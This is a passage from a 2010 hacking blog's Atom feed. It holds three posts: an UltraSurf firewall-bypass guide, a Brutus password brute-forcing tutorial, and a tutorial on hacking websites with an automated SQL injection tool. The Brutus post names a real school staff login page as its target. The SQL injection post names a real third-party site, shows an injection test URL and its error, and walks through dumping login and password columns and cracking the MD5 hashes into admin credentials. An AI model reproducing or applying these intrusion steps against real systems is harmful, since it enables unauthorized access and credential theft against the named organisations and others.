&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;We  will be using a very small and free software called ultrasurf. It will  not only allow you to surf blocked websites but it will also give you  freedom to stream videos, download and upload files.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Here is the step by step tutorial with screenshots:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;1. First you need to&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;a href=&quot;http://www.ultrareach.com/&quot; style=&quot;color: #a91b33; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Download Ultrasurf&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;2. You will get a zipped file with a .exe file in it. Click on it&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;3. It will start ultra surf and automatically connect to its server.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_F7GuXCzPQdY/TM90k72NuGI/AAAAAAAAE4Y/Lel5AlcH8tY/s1600/0427011.jpg&quot; style=&quot;color: #a91b33; text-decoration: none;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5534770644950825058&quot; src=&quot;http://2.bp.blogspot.com/_F7GuXCzPQdY/TM90k72NuGI/AAAAAAAAE4Y/Lel5AlcH8tY/s400/0427011.jpg&quot; style=&quot;border-width: 0px; cursor: pointer; display: block; height: 268px; margin: 0px auto 10px; padding: 10px; text-align: center; width: 380px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;4. Even it will open your Internet explorer automatically. Now you can have an unblocked and secure to internet.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;5. If you want to use ultrasurf on Firefox, you need to download the firefox plugin too:&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;a href=&quot;http://www.ultrareach.com/download_en.htm&quot; style=&quot;color: #a91b33; text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;download here&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;If  you are connected to internet through a proxy server then ultrasurf  will detect it. If somehow it does not detect the proxy server then you  can manually enter your proxy server&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;To manually enter proxy server&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;Click on&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Option &amp;gt; Proxy Setting &amp;gt; Manual Proxy Settings&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_F7GuXCzPQdY/TM91RlWtM_I/AAAAAAAAE4g/yoFpbq-2LKo/s1600/0427012.jpg&quot; style=&quot;color: #a91b33; text-decoration: none;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5534771412007203826&quot; src=&quot;http://1.bp.blogspot.com/_F7GuXCzPQdY/TM91RlWtM_I/AAAAAAAAE4g/yoFpbq-2LKo/s400/0427012.jpg&quot; style=&quot;border-width: 0px; cursor: pointer; display: block; height: 326px; margin: 0px auto 10px; padding: 10px; text-align: center; width: 291px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_F7GuXCzPQdY/TM91aqrrgtI/AAAAAAAAE4o/N-DQlEmyjOU/s1600/0427013.jpg&quot; style=&quot;color: #a91b33; text-decoration: none;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5534771568056173266&quot; src=&quot;http://3.bp.blogspot.com/_F7GuXCzPQdY/TM91aqrrgtI/AAAAAAAAE4o/N-DQlEmyjOU/s400/0427013.jpg&quot; style=&quot;border-width: 0px; cursor: pointer; display: block; height: 281px; margin: 0px auto 10px; padding: 10px; text-align: center; width: 269px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Note:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;If  you want to use ultrasurf with other applications you need to configure  them to use ultrasurf as their proxy client. The Proxy IP address is  127.0.0.1 and the Port is 9666.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt; &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/7404914394142371308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/11/how-to-bypass-firewall-using-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7404914394142371308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7404914394142371308'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/11/how-to-bypass-firewall-using-tool.html' title='How To Bypass Firewall Using Tool'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_F7GuXCzPQdY/TM90k72NuGI/AAAAAAAAE4Y/Lel5AlcH8tY/s72-c/0427011.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-6049979894938538307</id><published>2010-10-02T19:36:00.000-07:00</published><updated>2010-10-02T19:36:20.780-07:00</updated><title type='text'>Learn Brutus Tutorial</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot;&gt; &lt;a href=&quot;http://hackguide4u.blogspot.com/2010/10/brutus-tutorial-on-how-to-use-it.html&quot;&gt;&lt;br /&gt;
&lt;/a&gt; &lt;/h3&gt;&lt;div class=&quot;post-header&quot;&gt;  &lt;/div&gt;&lt;a href=&quot;http://f.imagehost.org/0989/2_9.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;146&quot; src=&quot;http://f.imagehost.org/0989/2_9.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;b&gt;How to use Brute Force Attack&lt;br /&gt;
&lt;br /&gt;
Written by: ALEX================================================== ========&lt;br /&gt;
I, The alex, take no responsibilty for what you do with the information&lt;br /&gt;
that I am providing for you. This information is for educational purposes only.&lt;br /&gt;
================================================== ========&lt;br /&gt;
&lt;br /&gt;
Chapter 1: Introduction to Brutus.&lt;br /&gt;
&lt;br /&gt;
1.What is Brutus?&lt;br /&gt;
&lt;br /&gt;
2.What can I do with it?&lt;br /&gt;
&lt;br /&gt;
3 Where can I download Brutus?&lt;br /&gt;
&lt;br /&gt;
4.Where can I find a good password list?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Chapter Two: Let&#39;s Get Crackin&#39;.&lt;br /&gt;
&lt;br /&gt;
1.HTTP Form.&lt;br /&gt;
&lt;br /&gt;
2.FTP.&lt;br /&gt;
&lt;br /&gt;
3.POP3&lt;br /&gt;
&lt;br /&gt;
4.Telnet.&lt;br /&gt;
&lt;br /&gt;
5.SMB (Netbios)&lt;br /&gt;
&lt;br /&gt;
6.Netbus&lt;br /&gt;
&lt;br /&gt;
7.Custom.&lt;br /&gt;
&lt;br /&gt;
Chapter Three: Wrapping up.&lt;br /&gt;
&lt;br /&gt;
1.Contact Information.&lt;br /&gt;
========================================&lt;br /&gt;
Chapter One.&lt;br /&gt;
&lt;br /&gt;
==What is Brutus?==&lt;br /&gt;
&lt;br /&gt;
Brutus is a well known password brute forcing program.&lt;br /&gt;
&lt;br /&gt;
==What can I do with it?==&lt;br /&gt;
&lt;br /&gt;
With Brutus, you can brute force passwords for HTTP, FTP, POP3, Telnet, SMB (Netbios), Netbus, and they also have a&lt;br /&gt;
&quot;Custom&quot; option so you can specify your own settings.&lt;br /&gt;
&lt;br /&gt;
==Where can I download Brutus?==&lt;br /&gt;
You can find Brutus at it&#39;s webpage &lt;a href=&quot;http://www.hoobie.net/brutus&quot; target=&quot;_blank&quot;&gt;www.hoobie.net/brutus&lt;/a&gt;&lt;br /&gt;
You can also find it at GluTuk&#39;s site &lt;a href=&quot;http://www.spartandownloads.2ys.com/&quot; target=&quot;_blank&quot;&gt;www.spartandownloads.2ys.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
==Where can I find a good password list to use with Brutus?==&lt;br /&gt;
Pretty much, the only password list you will ever need&lt;br /&gt;
and has 4.9 million passwords. Here are a link where you can download it.&lt;br /&gt;
&lt;br /&gt;
Part 1.&lt;br /&gt;
&lt;a href=&quot;http://area51archives.com/files/pass_list.rar&quot;&gt;http://area51archives.com/files/pass_list.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Part 2&lt;br /&gt;
&lt;a href=&quot;http://area51archives.com/files/pass_list.rar&quot;&gt;http://area51archives.com/files/pass_list.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
================================================== ============&lt;br /&gt;
&lt;br /&gt;
Chapter Two: Let&#39;s Get Crackin&#39;.&lt;br /&gt;
&lt;br /&gt;
Note: You can use a proxy for each cracking method.&lt;br /&gt;
&lt;br /&gt;
==HTTP Form==&lt;br /&gt;
&lt;br /&gt;
This is the option you would use if you want to crack into a website that has a field for a username and a pass, like&lt;br /&gt;
this one.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.westbranch.k12.oh.us/staff/controls.asp&quot; target=&quot;_blank&quot;&gt;http://www.westbranch.k12.oh.us/staff/controls.asp&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I will use this site for the rest ov this section as well.&lt;br /&gt;
&lt;br /&gt;
First thing you wanna do is open Brutus, and select http form. Then click the modify sequence button. Once there we put&lt;br /&gt;
the above link into the Target form field, then click Learn Form Settings&lt;br /&gt;
From here, you click the field name that is for the username, in this case it is userid, once you have selected it,&lt;br /&gt;
click the username button that is shown above the cookie information. That tells brutus that that field is for the username.&lt;br /&gt;
Then you select the password field and click the password button, then click accept. Next, in the HTML Response field you&lt;br /&gt;
need to fill that in with the response you get when you try to enter a password into your site. In this case the response is&lt;br /&gt;
&quot;You have entered a wrong Password or username.&quot; For this target we will put that into the Primary response field Once this&lt;br /&gt;
is done, we click ok, add the IP into the Target Field and start our crack.&lt;br /&gt;
&lt;br /&gt;
==FTP==&lt;br /&gt;
&lt;br /&gt;
For cracking an FTP server, the default settings should remain how they are, I usually make sure that the &quot;Try to stay&lt;br /&gt;
connected for unlimited attempts&quot; box is ticked.Thats up to you, once you have selected your options, enter the IP and&lt;br /&gt;
being the crack.&lt;br /&gt;
&lt;br /&gt;
==POP3==&lt;br /&gt;
&lt;br /&gt;
This is pretty much the same as FTP cracking as far as, the default settings should work for you. Once again, I like to&lt;br /&gt;
use the &quot;Try to stay connected for unlimited attempts&quot; option.&lt;br /&gt;
&lt;br /&gt;
==Telnet==&lt;br /&gt;
&lt;br /&gt;
Seems as if I&#39;m repeating myself, but once again, the default settings should werk for you.&lt;br /&gt;
&lt;br /&gt;
==SMB (Netbios)==&lt;br /&gt;
&lt;br /&gt;
If you happen to find yourself a target that has the netbios port open (139) and has sharing enabled, but needs a&lt;br /&gt;
password, this is what you would use. Once again, default settings should werk.&lt;br /&gt;
&lt;br /&gt;
==Netbus==&lt;br /&gt;
&lt;br /&gt;
Netbus is a popular trojan that sometimes, you might find a server that needs a password to connect.&lt;br /&gt;
This option is used for, cracking a password protected Netbus server.&lt;br /&gt;
&lt;br /&gt;
==Custom==&lt;br /&gt;
&lt;br /&gt;
This is what you would use to set up a crack for anything else that you could think ov.You need to find out what you need&lt;br /&gt;
to put in each field once you click &quot;Define sequence&quot; Those options will vary from target to target.&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;.........................................................................................................................................................  ...............................................................&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/6049979894938538307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/10/learn-brutus-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/6049979894938538307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/6049979894938538307'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/10/learn-brutus-tutorial.html' title='Learn Brutus Tutorial'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-4419646218591891011</id><published>2010-09-30T10:27:00.000-07:00</published><updated>2010-09-30T10:31:11.937-07:00</updated><title type='text'>Hack websites using Auto SQL Helper</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot; style=&quot;color: orange;&quot;&gt;&lt;a href=&quot;http://hackguide4u.blogspot.com/2010/09/rhow-to-hack-websites-using-auto-sql-i.html&quot;&gt;&lt;/a&gt; &lt;/h3&gt;&lt;div class=&quot;post-header&quot; style=&quot;color: orange;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;I have been asked Recently to write a tutorial on how to use&lt;br /&gt;
&quot;SQL I  Helper V.2.7&quot; tool.&lt;br /&gt;
At  the beginning &quot;SQLI HelperV.2.7&quot; is a tool that  can hack vulnerable   websites using SQL injection. You don&#39;t have to  spend hours and hours   trying to find your way in a website and trying  hundreds of  combination&#39;s and codes to hack a website.&lt;br /&gt;
This tool will  do it all by itself. You only have to tell it what to do.&lt;br /&gt;
You can download it from here: &lt;/b&gt;&lt;b&gt;Download Link: (this should link to reiluke.i.ph and nowhere else!)&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;http://reiluke.i.ph/blogs/reiluke/2009/02/12/reiluke-tools-download-link/&quot; target=&quot;_blank&quot;&gt;http://reiluke.i.ph/blogs/reiluke/20...download-link/&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://www.megaupload.com/?d=WLAWEWFF&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Or Download Direct From Megaupload&amp;nbsp;&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;And &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;http://www.megaupload.com/?d=LAIWX0VW&quot;&gt;Download Video Tutorial Here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
Lets start.&lt;br /&gt;
First  you need to find the potential website that you  think it might  be  possible to hack it. Remember that some websites are  simply  unhackable.&lt;br /&gt;
After  you find your website ( better to end with   &quot;article.php?id=[number]&quot; )  example:   &quot;http://encycl.anthropology.ru/article.php?id=1&quot;&lt;br /&gt;
&lt;br /&gt;
I will explain  my tut on how to hack this website.&lt;br /&gt;
&lt;br /&gt;
Check if your website can be  hacked by trying to go this address :&lt;br /&gt;
&lt;a href=&quot;http://encycl.anthropology.ru/article.php?id=%271&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://encycl.anthropology.ru/article.php?id=&#39;1&lt;/a&gt;  &amp;lt;------ notice the &#39; before the number 1.&lt;br /&gt;
&lt;br /&gt;
you should get this  message:&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;div&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Query   failedYou have an error in your SQL syntax;  check the manual that   corresponds to your MySQL server version for the  right syntax to use   near &#39;\&#39;1 ORDER BY lastname&#39; at line 1 SELECT * FROM person_old WHERE  id=\&#39;1 ORDER BY  lastname&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;br /&gt;
This mean that this website can be hacked  because you get an error.&lt;br /&gt;
&lt;br /&gt;
Now open your SQL I Helper V.2.7&lt;br /&gt;
and  write the link :&lt;br /&gt;
&lt;a href=&quot;http://encycl.anthropology.ru/article.php?id=1&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://encycl.anthropology.ru/article.php?id=1&lt;/a&gt;  &amp;lt;---- without the &#39;&lt;br /&gt;
here&lt;br /&gt;
&lt;img alt=&quot;[Image: 2n8wtow.jpg]&quot; height=&quot;152&quot; src=&quot;http://image.wetpaint.com/image/1/YR8BgUpZPbOCUEjSPoCpcA41801&quot; title=&quot;[Image: 2n8wtow.jpg]&quot; width=&quot;640&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
and press the inject button.&lt;br /&gt;
&lt;br /&gt;
Now   you should wait until the tool finish searching for columns . Time  may   vary depending on your connection speed , your pc speed , and the   number  of columns in the website.&lt;br /&gt;
So now you should have this:&lt;br /&gt;
&lt;img alt=&quot;[Image: 15xvl2v.jpg]&quot; src=&quot;http://image.wetpaint.com/image/1/a9-FIdhQmqDxjMnp2Eouug29773&quot; title=&quot;[Image: 15xvl2v.jpg]&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
then select &quot;Get database&quot; and you  get this:&lt;br /&gt;
&lt;a href=&quot;http://i40.tinypic.com/znq9tz.jpg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://i40.tinypic.com/znq9tz.jpg&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now  select any element from the &quot;database name&quot; box and press the &quot;Get  tables&quot; button , I will select &quot;anthropo_encycl&quot;:&lt;br /&gt;
&lt;img alt=&quot;[Image:  668zs6.jpg]&quot; src=&quot;http://image.wetpaint.com/image/1/hmPHwUT1LhoCTGJQn-vxuA41191&quot; title=&quot;[Image: 668zs6.jpg]&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
then select any element from the  &quot;table name&quot; box and press the &quot;Get columns&quot; button , I will select  &quot;user&quot;:&lt;br /&gt;
&lt;img alt=&quot;[Image: 24e3vyo.jpg]&quot; src=&quot;http://image.wetpaint.com/image/1/lI7zEmGNP8AVjF2739xBvg24796&quot; title=&quot;[Image: 24e3vyo.jpg]&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
then select any elements you want  from the &quot;columns name&quot; box and press &quot;Dump Now&quot; , i will select  &quot;usr_login&quot; and &quot;usr_pass&quot;&lt;br /&gt;
&lt;img alt=&quot;[Image: 2vb4ndj.jpg]&quot; src=&quot;http://image.wetpaint.com/image/1/l6kTCu_eqIuJFHVvh1hTwg20853&quot; title=&quot;[Image: 2vb4ndj.jpg]&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
After &lt;a href=&quot;http://www.blogger.com/post-edit.g?blogID=7438230220644688822&amp;amp;postID=2998920257061831544&quot; target=&quot;_blank&quot;&gt;clicking&lt;/a&gt;  &quot;Dump Now&quot; , you should see this new window&lt;br /&gt;
&lt;img alt=&quot;[Image:  fxwj2p.jpg]&quot; height=&quot;336&quot; src=&quot;http://image.wetpaint.com/image/1/ejDCYam7R7sIc6o1DCCTGQ38308&quot; title=&quot;[Image: fxwj2p.jpg]&quot; width=&quot;640&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Now copy the hash on a peace of  paper and go to this website:&lt;br /&gt;
&lt;a href=&quot;http://www.md5crack.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.md5crack.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
enter the  hash and press the button &quot;Crack that hash baby!&quot; and you should get the  source of the hash.&lt;br /&gt;
hash:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
username:  admin&lt;br /&gt;
&lt;br /&gt;
hash:202cb962ac59075b964b07152d234b70&lt;br /&gt;
Password: 123&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;....................................................................................................................................   ..................................................................................&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;....................................................................................................................................     .................................................................................&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/4419646218591891011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/hack-websites-using-auto-sql-helper.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4419646218591891011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4419646218591891011'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/09/hack-websites-using-auto-sql-helper.html' title='Hack websites using Auto SQL Helper'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-5218088783973209495</id><published>2010-09-30T03:57:00.000-07:00</published><updated>2010-09-30T03:57:07.682-07:00</updated><title 